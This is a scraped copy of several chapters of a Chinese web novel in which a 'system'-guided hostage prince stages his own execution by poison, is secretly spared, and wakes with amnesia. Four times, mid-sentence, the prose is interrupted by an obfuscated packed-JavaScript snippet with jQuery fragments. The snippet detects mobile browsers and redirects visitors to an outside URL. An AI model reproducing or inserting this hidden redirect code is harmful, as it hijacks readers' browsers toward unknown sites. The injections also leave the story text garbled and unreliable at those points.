舒明尘也是很无奈,他本来发烧加头晕,现在彤施在他旁边一哭,他感觉脑瓜子嗡嗡的,但人是他弄哭的,也只能耐心哄着说道:“好好好,你没有晃,我看错了,我看错了……” 后来舒明尘直到整个冬天过去,气候稍微暖和的时候才完全痊愈。 那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13976654|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候大家真好啊,晋国还没有派人过来,整个府邸就他们这些异乡人。 小孩子的性情总是变化的很快,眼看着殿下的病也要好了,现在也算是不愁吃不愁穿的,彤施就兴冲冲地要去堆雪人。 舒明尘干脆大手一挥放了大家一天的假,又嘱咐别在雪地里玩太久,开玩笑地说要是都病倒了,他可没人使唤了。 大家便一哄而散,各自玩去了。 但云容没走。 舒明尘便挥挥手道:“去吧,我无大碍。” “我听说过他做的事,但我还是选择相信我看到的。” 他轻声说着。 云容一直很后悔,后悔当初应该带殿下走,可他本来是以为殿下即便留在这里也不会出什么事的。 他闭了闭眼,又想起刚刚的一切,所以,这才是殿下会被抓进天牢的原因,那个原因是他自己。 他当初在得知那座宅院被查封后也想到了那个黑衣人被抓进天牢了,可是最终,进天牢的只有殿下。 晋国当然不会如此草率地就判定一个人,可是当他们查到了舒明尘的所作所为,再加上刘安的供词,他们已经认定质子是卧底了。 之前被遗漏的细节忽然如雨后春笋般不断浮现在他的脑海中,谢南渝第一次感觉到懊恼,自从兄长死后,他已经很久没有过这种情绪了。 他拍了拍云容的肩膀,道:“你应该早点说的。” 云容苦笑一声,他何尝不想啊,可是没有人能够证明,彤施死了,之前热热闹闹的一群人,到最后只剩下了他们两个。 他若是表现地过于明显,只会让将军以为是殿下蛊惑了他,事情没准会变得更糟。 当时他直到得知殿下醒来的消息才出城,虽然将军并没有说什么,但是云容知道,将军心里还是很介怀的。 不然,也不会把调查殿下的事交给沈司。 他在安城五年,安城大大小小的官员他一清二楚,短时间内查清楚一个人,他才是最适合的。 沈司在一旁颦眉思考了很久,问道:“既然如此,他为什么不说出来?” 舒明尘背负着叛国的罪名,说出来反而可以给自己脱罪,为什么不说? 云容摇摇头,这五年来,他虽然和殿下同在晋国,但两国战事不休,敌国质子在晋国,本来就惹人注意。后来派人来监视也是顺理成章的事情。 为了避嫌,他们再也没有像初来晋国时一样了。 所以原因究竟如何,或许只有舒明尘本人才知道。 24. 炮灰质子(24) 舒明尘觉得最近很奇怪,最明显的就是平常冷清的偏殿突然热闹起来了,不但云容往这里跑的勤了,连沈司也有事没事地借着一些有名无实的借口过来,再说一些莫名其妙的话。 舒明尘无可奈何地看着每日定点刷新的云容,兄弟,合着我那天的话白说了是吗? 你往我面前凑什么凑啊,你去找主角啊,去找谢南渝啊,跟主角关系搞好了,飞黄腾达,指日可待啊! 你到底懂不懂啊! 好不容易把云容打发走,又来了个沈司。 舒明尘心里骂骂咧咧,内心还要端着个脸问他来干什么。 沈司自顾自地坐下,回道关于晋国余下官员如何处理的问题,他想听听舒明尘的意见。 …… 舒明尘没有任何意见,舒明尘想下班。 但显然沈司没管他心里如何想的,在一边就开始自说自话,从各个官员的表现又说到已经收缴的晋国残余部队,等到舒明尘回过神来的时候,沈司已经说到了对晋国其余城池的安置问题了。 话里话外都是他们将军是个很讲道理的人,一些晋国官员只要真心投诚,将军是不会为难的。 哦。 关他什么事。 沈司看见舒明尘这么一副油盐不进的样子就头疼,云容在的时候舒明尘还能收敛点,轮到他了,脸上就写满了“赶紧走,别来烦我”。 他们其实还是希望舒明尘能自己说出来的,但奈何舒明尘是打定主意不想搭理任何一个人。 甚至连云容也是这样。 这边舒明尘对沈司的口若悬河敬谢不敏,索性转头看向窗外。结果却看到一群人竟然在搬东西。 “他们…在干什么?” 沈司被截住了话头也不气,顺着他的视线看了眼回道:“过几天就要回去了,他们在收拾东西。” 舒明尘呆滞道:“回去?” 看到沈司理所当然地点了点头,舒明尘急切道:“那我呢?” 不是啊,你们都回去了,要不做个好人把我也送回去吧。 在线等,挺急的。 不料沈司奇怪地看了他一眼,说道:“殿下当然同我们一起。” 谁要跟你们回去啊。 “可是,我,呃,不治我的罪吗?” “当初贸然开战,未能考虑到殿下安危,是我等之错,殿下无罪。” …… 这话也能从主角嘴里说出来啊,还是对他这个小炮灰说的,真是好小众啊。 “可是,我还害死了你父亲……” 啊,这个仇总得报吧? 沈司看了他很久,久到舒明尘都想问问系统,他脸上是有什么东西吗?沈司看得他心里发毛。 然后他就听见沈司吐出了个句子:“你是傻子吗?” ??? !!! 对嘛!这个语气,这个台词,这才是主角对他这个反派该说的。 不过这什么意思啊,好端端地骂他。 还没等他反应过来,就听见沈司继续说道:“你是觉得,如果当初,你不说这些话,他们就不会找别人吗?” 邺国三皇子与五皇子争权多年,朝臣各自战队,附庸其主,找这么一个出头鸟自然不在话下。 为什么当初找到舒明尘,不过是想攀咬皇子,朝臣不好出面罢了。 但无论是不是舒明尘做这个事情,他父亲的结局都不会变。 沈司双手撑着桌子,一板一眼地说道:“你若是因为这个事,那我明明白白地告诉你,即便我之前对你有过误解,但现在乃至以后,我沈司可以发誓,我不会对你有任何怨恨,你若是不信,我可以到将军面前立誓。” 在沈司的视线里,舒明尘愣了愣神,随后呼出一口气道:“不用。” 他还以为终于把事情说开了,正打算继续说些什么,就听到这么一句话: “我讨厌他,也讨厌你。” 沈司喉间干涩。 “那时候确实是我们的错,我们还不知道你……” “你原本不该这样称呼我。” 沈司反应过来自己已经失言了,还没想出补救的话术,舒明尘就继续说道: “可流沙已逝,大厦既倾,现在如何都是理所当然。” 什么! 沈司心跳如擂。 “……你知道了。” “我远比你们想象中更了解我那个父皇。出兵晋国这个命令,绝不是他的意思。” 他声音清润,带着点漫不经心的味道。 “他打压谢家都来不及,怎么可能同意谢南渝率领镇北军攻打晋国。所以,两国战事一起,我就猜到了。” 不可能。 不信啊,那就再加个码。 “不然,你以为,我为什么会冒着叛国的风险和晋国合作?”舒明尘的语气有些玩味,又带着几分散漫。 恍惚间,沈司仿佛看到了那个传言中在晋国大放异彩的九皇子。 邺国九皇子确实是个不可多得的谋略之才,在见识过他的才能之后,很多人都在疑惑这样一个人当初为何选择和晋国合作。 毕竟,无论晋国战败与否,他作为一个质子,都不会有生命危险。 若晋国战败,那么晋国是不敢怠慢邺国的皇子的;而晋国若是取得胜利,无非就是邺国每年的岁贡加重,质子还是需要继续留在晋国的。 沈司之前奉命调查质子,那些被羁押在狱的晋国臣子自然有问必答。 邺国九皇子多次舌战群臣,流传甚广,佩服他的臣子称赞其才华横溢、有七步之才;厌恶他的臣子抨击其德不配位,小人而已。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13976655|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们对这个邺国质子或褒或贬,但总得来说,舒明尘所展现的才能几乎得到了所有晋国大臣的肯定。 沈司当时就在想如果舒明尘真的像他们说的那样,怎么会傻到做这一件吃力不讨好的事情。 原来是这样。 可如果真的只是这样,那为什么又要帮云容? 困扰在沈司心头的疑惑越来越多,舒明尘这个人简直就是一个巨大的谜团,他们自以为看清了他,等清醒过来,却发现他们只是在迷雾中找到了一盏灯。 谈崩了。 但舒明尘也没办法,剧情已经如脱缰野马般朝着不可控制的方向去了,他一个反派差点就要跟主角团站在同一战线了。 不行啊。 今晚很安静,舒明尘在窗边跪坐,面前摆着一盘棋,灯火摇摇曳曳,连累那道影子也摇摆不定。 “舒舒不去睡觉吗?” 平常这个时候舒明尘早就睡觉了,他既有伤,白日又喝了很多药,到了晚上便困倦不已,不消侍女提醒,他自己就直接上床睡觉了。 但今日不同。 舒明尘高深莫测地落了一子,对系统回道:“等人。” 是他疏忽了,不论是云容、沈司,还是突然多出的侍女,其实都是谢南渝的授意或者放任。 他之前摆烂的太彻底,这点竟然没能及时意识到。 舒明尘对系统说完没多久,果然来了个人。他抬头看了眼,摆出了个意料之中的表情,平淡道:“坐。” 谢南渝依言坐好。 二人相顾,不多时,舒明尘开口:“我还没有告诉他。” “我知道。”他回道。 “你打算怎么处理我父皇?和晋国一样?” “对。” 邺国皇帝偏好帝王之术,残害忠良,甚至至百姓安危于不顾,谢南渝当然不会放过他。 “那你什么时候,处理掉我?”他陪着谢南渝演了很久的戏,今日终于可以闭幕了。 房间静静地,有呼吸声突然加重,但谁都没有再说话。 谢南渝想,为什么非要走到这步,他篡权造反,即便把邺国皇帝杀了也觉得是罪有应得,但是他没办法对舒明尘下手啊。 他面前这个身体伤痕累累,他是亲眼看到的,原因为何,他也是知道的。 “啪嗒—”白子落入死局,胜负已见分晓。 谢南渝轻声道:“一定要这样?” “成王败寇,历来如此,请将军以叛国之名杀我。” 在寂静的室内中,谢南渝听到自己说道:“好。” 他静了静,又补充道:“一天后。” 得到了自己想要的结果,舒明尘起身便走。 而留在原处的谢南渝继续凝视着那盘棋,良久,他拈起一枚白子,轻轻放下。 棋局已变。 25.炮灰质子(25) 确定完下班时间后,舒明尘在脑海里和系统兴冲冲地击了个掌。 幸亏他提前察觉到了异常,他要是真跟主角回到邺国,那剧情也完了,他的任务也完了。 系统狗腿似的吹捧:“舒舒真厉害,当时选宿主的时候,我一眼就看出来舒舒骨骼清奇,和其他人都不一样……” “……等等,你们可以自己选宿主啊?” 这太不公平了,凭什么他们不能选系统?! 马屁拍到马腿上,系统心虚地闭上了嘴,被舒明尘戳了几下,才扭扭捏捏地说道: “可以啊……我们都是由主系统分化出来的,每当有新一批的任务者出现,就会有新一批的我们,在你们训练结束后,就可以选择自己的宿主啦!” “我当时一眼就看中了舒舒!” 咳,其实是其他系统选的太快了,轮到它的时候,发现已经没有任务者供它选择了。 当时主系统看到这种情况还很是好奇,因为在精密的算法下,它并不会出现这种低级错误。 小系统当时都要哭了,没有宿主它就没有用,是会被主系统回收的。 然后就在这个时候,刚刚才结束训练的舒明尘出现了,系统跟看见救星似的喊道:“我选他!” 说着就迫不及待地让主系统在他们两个之间建立连接。 虽然当时就只剩下它这么一个系统,以及舒明尘这么一个任务者了,系统根本没有别的选择。 真的…吗? 舒明尘看着系统这不靠谱的样子,觉得它在选宿主的时候肯定也掉链子了,才阴差阳错选的他。 但是算了,还是给小弟留点面子吧。 毕竟虽然系统有时候能力不行,但还是很会说话的。 呃,虽然有时候说话也说不到点上。 下班前的最后一天可以说是最惬意的,系统在脑海中扑腾着要提前庆祝一下脱离世界。 舒明尘:他还就喜欢有仪式感的系统,反正都要走了,要不今晚放纵一下? 系统其实类似于电脑,可以下载各种各样的小游戏,舒明尘刚到这个世界的时候为了不引起晋国的怀疑,大门不出,二门不迈,天天窝在屋子里和系统玩游戏。 只不过后来谢南渝开始攻打晋国,舒明尘为了任务不得不开始搞事业。但是还是那句话,如果能躺着,谁愿意坐着? 更何况舒明尘躺了四年,最后一年跟个社畜似的,确实需要补偿一下自己。 舒明尘快乐地在脑海中和系统选游戏,结果青羽又端来一碗药。 舒明尘义正言辞地拒绝了,还告诉青羽以后都不用给他煎药了。 他都要死了,还吃什么药。 让他看看最近都有哪些新出的游戏,快乐的肥宅生活从今晚开始。 …… 谢南渝翻出了一张药方,这还是当年沈伯父下狱时,父亲几番周折才得到的一张药方,只是最后也没用上。 现在倒是派上用场了。 沈司仔细看了看,确认就是当年谢叔叔送过来的药方。 “没谈好?”他问道。 谢南渝叹了口气,“嗯”了一声。 此时正好有侍女过来禀报今日质子没喝药,于是他便摆摆手表示他知道了。 本来都计划好了,先让云容在军中散播一些传言,等时机成熟了就澄清事实,舆论可以杀死一个人,自然也可以救一个人。 云容本来就是做情报工作的,对他来说不过是小事一桩。 只不过任务刚开始就要被迫停止了。 到了最后一天,舒明尘特地早起了一会,坐在桌上百无聊赖地等着。 青羽照常摆了一桌早餐,这几日舒明尘的膳食可谓是极为丰盛,就算是一个普普通通的早餐,也准备的有模有样。 舒明尘感觉他面前的这桌菜应该是早餐的顶配了,简直是无所不有。 不过他现在其实没什么心情吃饭,笑话,他都要脱离世界了,这最后一顿饭吃不吃的也没什么影响。 舒明尘在脑海中跟系统唠着嗑。 “系统,马上就要走了,激不激动?兴不兴奋?” 系统点头如捣蒜,它简直超级激动,代码运行速度飞快。 回去之后可以跟主系统讨论一下补偿,到时候可以狠狠敲一笔。 舒明尘在心里畅想着美好未来。 补偿要什么呢? 舒明尘觉得新手任务这个没有惩罚的福利真的太棒了,就是可惜他没用上,回去可以和主系统商量一下能不能把新手福利给他保留一下,等他任务失败了再用。 以防万一嘛,万一他以后任务失败了呢。 话说,好像到点了。 舒明尘对着门口望眼欲穿,谢南渝应该会给他选一个痛快点的死法吧? 沈司进来的时候正好撞进舒明尘狭长的眼眸,彼时舒明尘右手支着下巴,左手轻叩桌面,一副懒洋洋的样子。 哦,是沈司啊。 无所谓啦,在他心里,沈司约等于谢南渝。 舒明尘瞅了瞅沈司身后,嗯?什么都没有? 似是知道他在想什么,沈司拍拍手,很快就出现了一个太监。 他小心翼翼端着一盅黑乎乎的药,轻放在桌上,随后又恭谨地退了下去。 嗯? 似是看出了他的疑惑,沈司解释道:“一般混入的毒药剂量不够,这样比较保险。” 啊,这样啊。 主角受好贴心。 谢南渝好福气。 舒明尘在心里默默祝愿有情人终成眷属,然后自顾自地给自己倒了一碗,开死开死! 他仰头正准备一饮而尽,却在半空中被沈司截了下来。 沈司俊秀的面庞看不出任何表情,黑色的瞳孔望着他,修长的眉眼疏朗俊逸,宛如一块上好的美玉。 舒明尘微愣,却听到对方说道:“先吃饭。” 啊?他都要死了,这最后一顿饭有必要吃吗?舒明尘不解。 但现在多一事不如少一事,他很听话地放下药碗,转而拿起筷子夹了个小笼包吃了起来。 舒明尘吃饭的过程很斯文,一举一动都仿佛经过精心的设计,贵族的礼仪在他身上得以完美的展现。 单单是看着他吃饭,也是一种极致的视觉盛宴。 贵族讲究食不言,寝不语,沈司了然于心,但他现在并不想遵守。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027628|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他或许曾经恪守过这些繁琐的礼仪,可到底在军中待了一年,一举一动都随性了许多。 只见沈司随意坐在了舒明尘的对面,自己斟了一杯酒,拿在手里转了转,酒液清亮透明,随着他的动作,香气慢慢散发出来,舒明尘鼻尖都充斥着一股若有若无的清香。 舒明尘也算是出席过不少宴会了,觉得他面前这个规格真是不低。 断头饭这么好吗! 沈司貌似不经意般开口:“你什么时候知道云容是卧底的?” 舒明尘咽下口中的食物,想了想,回答道:“那个被抓的卧底把云容供出来的时候。” 沈司惊讶道:“可是当时刘安招供的时候你并不在场。” 舒明尘:……他确实不在场,可是有必要问这么仔细吗? 他含含糊糊地说:“有人来府中告知我这件事。” 沈司好整以暇地望着舒明尘,疑惑道:“可是负责审讯的蒙阙说他并不信任你,根本没有派任何人去告诉你这件事。” 他果不其然看到舒明尘的动作顿了顿,如画般精致的眉形不自然的颦了颦,良久才回道:“我在晋国五年,当然有自己的消息渠道。” 话毕,舒明尘低头继续吃饭,沈司低垂着眉眼,看不清情绪,一直到舒明尘吃完,屋内都持续着令人压抑的空寂。 舒明尘站起身,想趁早把事情了结了,但沈司却跟他同步似的,甚至比他还要急切。 等他回过神的时候,沈司的双手已然停在了他的两侧臂膀上,阻挡着他下一步的动作。 “为什么要把令牌交给云容?” 石破天惊的一句,连舒明尘挣扎的动作都像是被按了暂停键一样。 啊? 他冷着脸:“我没有。” 沈司却不依不饶:“晋国皇帝说,是你把令牌交给了云容。” !!!李淮景这个大嘴巴! 天光直直地射入室内,因此沈司很清楚地看见舒明尘的表情空白了一瞬,然后轻笑了下: “他自己蠢,非要把这个气撒在我身上,我有什么办法?怎么?你们信了?” “有审讯记录为证。你承认了。” “……我没有。” 他是真的从来没承认过啊! 肯定是那个常笠改了他的供词! 可是常笠已经被他杀了。 舒明尘觉得他有必要巩固一下自己的反派形象。 “我远比你们想象中更了解我那个父皇。出兵晋国这个命令,绝不是他的意思。” 他的声音清润,带着点漫不经心的味道。 “他打压谢家都来不及,怎么可能同意谢南渝率领镇北军攻打晋国。所以,两国战事一起,我就猜到了。” 沈司微微愣住,眨了下眼。 “我没有理由帮你们。” 舒明尘说完便挣开了桎梏,端碗喝药,一气呵成。 一直心心念念的事终于完成了,舒明尘如释重负地松了口气,和脑海中的系统庆祝了一下:“统子,下班了下班了。” 系统热泪盈眶:“舒舒,我们终于可以回去了。” 一人一统在脑海中隔空击了个掌:“耶!” 26.炮灰质子(26) 药效开始起作用,舒明尘感到眼前的画面开始变得模糊,力气好像被慢慢抽离,他瘫软在椅子上,骨节分明的手垂了下去,眼前的一切变得缓慢而迟钝。 不知道是不是临死前的幻觉,他好像看到了云容。 只是他已经不想去思考了,任由自己完全失去了意识。 沈司抬手试探了一下,确认完全没有反应了才起身,任由云容把人安置到了别处。 谢南渝早在知道真相之后就在考虑换个宫殿了,舒明尘所在的偏殿是当初为了治疗他身上的伤情急之下随便找的,不但有些破旧,甚至隔音也不是很好。 但是他刚刚把新的宫殿整顿完,舒明尘那边就出了新状况。 舒明尘想让他杀了自己,他或许实在没办法接受,他拼死做的一切竟然都是为了他的仇人铺路。 所以舒明尘既不说,也不承认,他昏迷三天才醒过来,醒过来最想知道的却是他什么时候会死。 他不是怕死,他只是想知道一个时间,一个他需要忍受疼痛的时间。 可是他什么都没有得到。 “他在帮你。” 云容不在,周围也没其他人,两人显得随意了很多。 他们两家本就是世交,后来又在同在军中,自然比常人亲近。 “我知道。” 眼看着谢南渝没听明白,沈司又补充道:“我的意思是,他在知道那件事之后,决定帮你。” 谢南渝猛地看向沈司。 又见对方慢慢思索道:“你之前,没见过他吗?” 没有。 沈司看表情就已经知道了答案,于是他也说道: “我也没有见过。” 真是奇怪啊,为什么要帮自己的仇人? 虽然邺国皇室对这个九皇子确实不重视,但是相比之下,舒明尘落在他们手里会更不好过。 谢南渝此刻心里已经惊涛骇浪。 他们一直以为,舒明尘是在送出令牌之后才知道的,如果是在那之前,他怎么可能会把令牌送出去? 怎么可能啊…… 有了云容的情报,安城陷落,舒明尘自己会有什么好下场? 他知道,知道后果,但他还是要这么做。 为什么? 可是没有人能回答他们,只有无尽的北风在荒原上呼号。 …… 另一边,舒明尘脑海中的系统简直欲哭无泪,在舒舒失去意识后,系统惊恐地发现他们还—没—有—脱—离—世—界! 它企图用它微弱的声音跟药效抗争一下,在路上他就已经叫了舒舒无数次了,奈何也不知道他们给舒舒下的什么药,它怎么叫都叫不醒。 系统现在是叫天天不应,叫地地不灵。它只能祈祷药效快点过去,它得赶紧把这件事告诉舒舒。 谢南渝为舒明尘安排的宫殿是含光殿,原为晋国上任皇帝宠妃静妃所住宫殿,李淮景上位之后下令将静妃拉去殉葬,之后一直没有妃子分得此处,含光殿便荒废了下来。 可含光殿之前是为一位宠妃修建的,所用材料皆是最好的,比起皇后的坤宁宫也不遑多让,甚至因为前任皇帝纵容的缘故,含光殿比坤宁宫内里布置更为奢华。 也是因为如此,谢南渝最后才敲定了这座宫殿。 而现在,整个宫殿静悄悄的,只有脑海中的系统在无能狂怒,可惜没有人能听见。 …… 谢南渝在阳谷关之时就把队伍分成三路,沈司当时就被分到了东南方向的那一路。 在晋国的防御全部崩塌之后,谢南渝命令其他两路尽快绕到安城后方,以切断晋国的后路,确保晋国皇帝被围困在安城。 安城攻下之后,谢南渝坐镇安城,由其他两路继续对晋国残余城池进行征伐。彼时晋国国都已经落入邺军之手,其余城池毫无反抗之力,很快就被收入囊中。 沈司是在战事结束后才由晋国北部城池卫城赶到安城的,当时晋邺两国战争刚刚结束,一切都还需要邺国军队接手。 这也就是为什么谢南渝他们在这里又待了一段时间的原因。 不过目前的事务已经处理了大半,估计还有半个月就可以启程回邺国了。 邺国大军在攻下晋国一月后,主将谢南渝决定班师回朝,当然已经事先决定留下一些人处理后续的事情。 一个国家的覆灭并不是一场战争就能简简单单盖过的,后续的安抚工作同样重要,更何况谢南渝已经成为了事实上的下一任皇帝,对这种事情的安排更为重视。 几十万士兵列成数个齐整的方阵,迎风而立,气势如虹。远远望去,每个人都好像成了一只只蚂蚁,鳞次栉比。 不过在这齐齐整整的队伍中赫然出现了一辆精致的马车,马车通体用黑楠木打造,四面皆被上好的丝绸遮掩,就连窗牖处都在内里严严实实包裹住,保证一丝风也不会惊扰到里面的人。 队伍里突然出现这么一辆格格不入的马车,本身就引起了军中不少注意,不过更让士兵大惊失色的是,这辆马车竟然是由将军、沈副将和云统领亲自照看的。 车上的人是何等身份,沈副将和云统领也就算了,竟然能让将军亲自照拂? 马车缓缓碾过去年留下的褐色枯草,留下几道深深的压痕,又被之后士兵的脚印所掩盖。 今日跟在马车旁边的是云容,周围士兵屏气凝神,大气都不敢出一声。 云容刚进军队就被将军分得了统领一职,当时有很多军中老兵是不服的,虽说他在安城卧底五年,功劳不小。 但云容到底不像沈司,沈司毕竟在军队中打拼一年,立的功劳都是有目共睹。 云容就不一样,他并未在军中取得任何成绩。 不过云容本身就是个冷硬的性子,向来懒得解释这些,他从来都是:不服?打一顿就好了;一顿不够,就再来一顿。 云容是牵机营出来的,对付这些人简直易如反掌,在一次又一次的被按在地上摩擦的经历后,这些士兵可谓是从打心里畏惧这位云统领。 是以,今日马车周围极为安静,周围的士兵大气都不敢出一声,只有哒哒的马蹄声和士兵整齐一致的脚步声。 不过这种情况并不能持续一天,在中午进行修整时,他们仿佛早就约定好了似的,齐齐远离了马车。 说到底,也不是远离马车,是远离马车旁那位很不好惹的云统领。 在修整时间内,除了每日值班的队伍,其余队伍倒是可以有限范围内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043470|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自由活动一下。 一离开那片区域,张越几人不约而同的松了口气,云统领真是恐怖如斯,幸亏还有修整的时间,不然他们的心脏可受不住。 张越一边啃着干粮,一边听着他们队伍中消息最灵通的叶言说话。军中生活枯燥乏味,急需各种小道消息丰富生活。 “你们知道那个马车上那个人的来历吗?”叶言故作神秘地说道。 张越几人齐齐摇头,他们在云统领眼皮子底下,大气都不敢喘,还敢打听那位的来历? 要是让云统领知道,估计又是一顿军法伺候。 “据说,是那位冒险把出城的令牌给的云统领。”叶言啃着干粮,含混不清地说道。 修整时间不长,所有人都得趁着这个时间好好补充一下体力,不然一旦开始行军,下一次修整就不知道是什么时候了。 “那怎么也没看见将军给那位论功行赏?”说话的是张越的老乡张川。 别说是他了,所有人都面露好奇,他们都知道云统领是因为在安城卧底五年才获得了这个位置,那位既然帮了统领这么大忙,将军应该也不会亏待对方才是。 “那位没有跟着统领一起出城,说要留在安城当内应。”叶言喝了口水继续说道,“后来被晋国发现了,被抓进了天牢。” 嘶—— 周围人齐齐倒吸了口凉气,晋国的天牢,人进去了不死也要脱一层皮,更何况是敌国的暗探这种。 “那后来呢?”张越忍不住问道。 不只是张越,周围所有人都在等着叶言的回答。 “当时将军把人救出来的时候就剩半口气了。”叶言道,“所以那位到现在一直没醒。” 所以,将军他们才这么重视那位啊。 张越忍不住开始敬佩那个马车里的人,晋国天牢之可怕,就连他们这种小兵都略有耳闻,那位也不知道是怎么撑下来的。 不过现在情况也算不上好,也不知道对方什么时候能醒过来,也有可能永远也醒不过来。 张越几人不由得感到惋惜。 宽大舒适的马车内,舒明尘无知无觉地闭着眼,他的眉眼温润,纤长浓密的睫毛覆在清冷沉静的睡颜上,显得极为柔软。 青羽小心翼翼地将食物送入对方口中,直到手中的食物见底,又给对方喂了些水,看着有些干燥的唇瓣再次变得水润起来,她才如释重负地松了口气。 之后青羽就蹑手蹑脚地走了出去。 马车外立着云容,看到她出来后未发一言,只在青羽走后轻手轻脚翻上了马车,凝望着里面的人。 舒明尘脑海中的系统已经麻木了,反正不是云容,也会是两位男主中的一个。这些天它见的已经够多了。 所以它家舒舒到底什么时候可以醒啊! 系统从一开始的满怀希望到后来的难以置信再到现在的心如槁木,其中的心路历程只有它自己了解。 只有系统受伤的世界达成了。 感觉被全世界抛弃的系统哇哇大哭,但是舒明尘并没有像之前那样安慰它,他的意识已经陷入黑暗,来自外界的任何感知都不会把他吵醒。 黑发柔顺地散在周围,它们的主人轻阖着眼,仿佛在做着一场长久的美梦。 27.炮灰质子(27) 落云城位于邺国北部,它并非重镇,距离原来的晋邺两国边境也有段距离,本来是一座并不起眼的小城。 落云城三个字听上去倒是雅致,不过远远看去只是一座灰扑扑的城池,要说有什么特别的,就是这里的陈郡守颇得人心罢了。 陈昀杉本是永平三年进士,时年二十一,少年及第,也曾壮志凌云,鲜衣怒马。 但邺国朝廷上下贪污之风盛行,彼时陈昀杉踌躇满志,绝不愿同流合污,这种不懂变通的性格被官场排挤,于是他就被扔到了落云城做了个郡守。 这个郡守一做就是二十年,二十年的光阴,磨平了他所有的棱角,陈昀杉年少的热血已经冷却,现在的他对仕途已经没了指望,只求在此安安稳稳做个郡守,就好了。 落云城内土地贫瘠,加上地处偏僻,并不富裕。好在陈昀杉这些年干的还算不错,平时老百姓的生活也算是过得下去。 邺国弊病已久,像落云城这种偏僻的城镇,能过得下去已经算是不错了。 然而此时有一件事让陈郡守焦头烂额,那就是镇北军在经过落云城时,谢将军主动提出大军奔波多天,有些疲惫,需在此处驻留几天。 陈郡守不能拒绝,不说谢将军位高权重,单说镇北军北伐晋国凯旋,他今天敢说出拒绝的话,明天国内上下喷的唾沫都能把他淹死。 他其实也想好好招待奔波数日的将士,但落云城并不富裕,实在是拨不出过多的银钱来犒劳将士。 好在谢将军也算是知道落云城的情况,对他略显寒酸的招待并未多言,只是在一个人身上特别关注。 要求那个人所住的房间是最好的,平日吃食也要最好。 只是一个人而已,又不包括军中众多将员,这种要求还是比较好满足的。 据说那个人为将军攻打晋国提供了不少情报,最后被晋国发现,差点死在晋国。 陈郡守回想起下属从军中听到的流言,心想:这样也是应该的。 大军疲惫赶路多日,也是时候停下来休整休整了。 最重要的是—— “他这几天就要醒了。”谢南渝说道。 毕竟是当年为沈司父亲准备的药,已做了万全的准备,连醒来的时间都掌握得八九不离十。 那天天气很好,阳光倾洒一室,舒明尘就愣愣地看着熠熠生辉的地板,久久未语。 脑海里系统上蹿下跳地给他控诉这段时间它一只统是多么无助,面前几个人的嘴巴也张张合合。 “还真是今天。” 一个人挥挥手,看着舒明尘的目光随着他的动作有所变化,才说道:“没什么大事,就是刚醒,记忆没恢复,过几天就好了。” “觉得有哪里不舒服吗?” “是不是饿了,要不要传膳?” 他在系统的碎碎念中捕捉到了最后一句,于是像生怕错过什么似的说道:“饿。” 云容倒是没想到舒明尘会回他,惊讶地望了回去,舒明尘只是茫然,他并不记得自己是谁,连同脑子里的声音,面前的一切都是陌生的。 就这样过了几日,系统终于接受舒明尘并不记得它这一沉痛事实中,只是它也没有坐以待毙。 “叮——”的一声,它按下了确认键。 舒明尘觉得自己好像被禁锢在了什么地方,他试图逃离,却发现无论他如何努力,身体都没有移动分毫。 他控制不了他的身体。 而此刻他自己正在水里,两条小短腿不停扑腾,但靠一个小孩子的力量根本无法浮出水面。 在他放弃挣扎的瞬间,有一双手把他从水里提了出来,舒明尘并不知道那是谁,他只能看见眼前翠绿的青苔,以及自己咳出来的水。 然后他的头被抬了起来,面前是一个头戴玉冠的皇子,舒明尘的大脑瞬间蹦出三个字——三皇子,他好像在对他说着什么,舒明尘听不清,但他能感受到对方的话里似乎满是恶意。 之后这种事情发生了无数次,直到这具身体不再挣扎,任由他们把他的头按进水里,连表情都由恐惧变成了空洞,那个为首的皇子才觉得没意思,放过了他。 舒明尘呆呆地坐在河边,浑身都是湿透的,就算是夏日,也应该尽快去换衣服。 可他坐在原地一动也不动,他只知道,只要他不哭,不挣扎,就不会再受那些苦了。 